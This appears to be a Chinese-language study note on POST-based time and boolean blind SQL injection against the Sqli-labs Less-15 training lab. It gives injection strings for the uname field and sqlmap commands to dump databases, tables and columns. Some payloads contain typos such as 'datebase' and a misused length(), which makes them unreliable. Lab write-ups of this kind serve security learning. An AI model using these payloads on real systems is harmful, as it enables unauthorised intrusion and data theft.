1,HTTP POST 介绍
POST发送数据包给服务器处理,数据包含在HTTP正文中
POST请求会向指定资源提交数据,可能会创建新的资源或者更改现有资源
2,POST基于时间盲注
存在注入点POST提交的参数 + and if (length(datebase())>5,sleep(5),null).
如果执行的时间页面响应时间大于5 秒,肯定存在注入点,并且对应的SQL 语句执行
以Less-15 为例
1,进行抓包
2,闭合单引号进行注入
命令:uname=admin' and (select if (length(datebase()>5,sleep(5),null))) -- &passwd=admin&submit=Submit
页面响应时间大于5秒(注意括号的用法)
3,POST基于布尔盲注
1,在存在注入点POST提交的参数后加入 if 判断正确或者错误的语句
select length(datebase());
select length(datebase(),1,1);
select length(datebase(),1,1)>N;
2,进行布尔盲注
SQL语句:uname=admin' and (length(datebase())=8) --&passwd=admin&submit=Submit
通过对<>=之后的数字进行探测,进而得出数据的长度
当输出位 flag 时,得到数据的长度
可用于探测表名,字段名等等
4,Sqlmap安全测试
需要指定探测技术 --technique T(time) B(boolean)
1,获取对应的HTTP头
2,使用sqlmap进行渗透
python sqlmap.py -r 1.txt --technique T -p uname
通过回显得出存在时间注入
3,爆破数据库
python sqlmap.py -r 1.txt --technique T -p uname --dbs
得出数据库名称
4,爆破数据表
python sqlmap.py -r 1.txt --technique T -p uname -D security --tables
5,爆破数据库内容以及字段
python sqlmap.py -r1.txt --technique T -p uname -D security -T users --columns
手工盲注的时间复杂度很大,通常使用盲注脚本